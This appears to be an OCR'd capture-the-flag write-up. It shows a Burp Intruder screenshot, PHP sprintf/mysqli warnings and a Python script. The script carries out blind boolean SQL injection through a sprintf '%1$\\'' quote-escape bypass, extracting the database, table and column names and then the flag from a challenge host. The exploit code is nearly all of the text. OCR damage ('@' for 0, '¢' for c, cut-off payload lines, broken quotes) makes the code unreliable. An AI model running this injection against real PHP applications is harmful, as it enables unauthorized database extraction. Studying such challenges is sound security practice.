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Attack Save Columns

w Payload Sets

You can define one or more payload sets. The number of payload sets
each payload type can be customized in different ways.

Payload set: l‘l |'J Payload count: 6

Payload type: lSimpIe list |'J Request count: 6

w Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are use
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Warning: sprintf(): Too few arguments in

Warning: mysqli:query(): Empty query in

fvar/www/html/index.php on line 18
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#coding:utf-8

import requests
import string

def boom():

url = r'http://083f8085e75f4ea099423ca97e616c729b921691cfe34e7c.changame.ichunqiu.com/index.php"’
s = requests.session()

dic = string.digits + string.letters + "!@#$%"&*()_+{}-="

right = 'password error!’
error = 'username error!’'
lens = @

i=290

while True:

payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#"
data={"'username' :payload, 'password':1}

r = s.post(url,data=data).content

if error in r:

lens=i

break
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i+=1
pass
print("[+]length(database()): %d" %(lens))

strs=""

for i in range(lens+1):

for ¢ in dic:

payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"
data = {'username':payload, 'password':1}
r = s.post(url,data=data).content

if right in r:

strs = strs + c

print strs

break

pass

pass

print("[+]database():%s" %(strs))

lens=0
i=1
while True:

payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_s
data = {'username':payload, 'password':1}

r = s.post(url,data=data).content

if error in r:

lens = i

break

i+=1

pass

print("[+]length(table): %d" %(lens))

strs=""
for i in range(lens+1):
for ¢ in dic:

payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where ta
data = {'username':payload, 'password':1}

r = s.post(url,data=data).content

if right in r:

strs = strs + ¢

print strs

break

pass

pass

print("[+]table_name:%s" %(strs))
tablename = '@x' + strs.encode('hex')

table_name = strs

lens=0
i=20
while True:
payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table
data = {'username':payload, 'password':1}

r = s.post(url,data=data).content

if error in r:

lens = i

break

i+=1

pass

print("[+]length(column): %d" %(lens))



strs=""

for i in range(lens+1):

for c in dic:

payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where
data = {'username':payload, 'password':1}
r = s.post(url,data=data).content

if right in r:

strs = strs + ¢

print strs

break

pass

pass

print("[+]column_name:%s" %(strs))
column_name = strs

num=0
i=29
while True:

payload = "admin%1$\\' or " + "(select count(*) from " + table name + ")>" + str(i) + "#"
data = {'username':payload, 'password':1}

r = s.post(url,data=data).content

if error in r:

num = i

break

i+=1

pass

print (" [+]number(column): %d" %(num))

lens=0
i=20
while True:

payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>
data = {'username':payload, 'password':1}

r = s.post(url,data=data).content

if error in r:

lens = i

break

i+=1

pass

print("[+]length(value): %d" %(lens))

i=1

strs=""

for i in range(lens+l):

for c in dic:

payload = "admin%1$\\' or ascii(substr((select flag from flag limit @,1)," + str(i) + ",1))=" + str(or
data = {'username':payload, 'password':'1"'}

r = s.post(url,data=data).content

if right in r:

strs = strs + ¢

print strs

break

pass

pass

print("[+]flag:%s" %(strs))

if _name__ == '__main__"':
boom()

print 'Finish!’'
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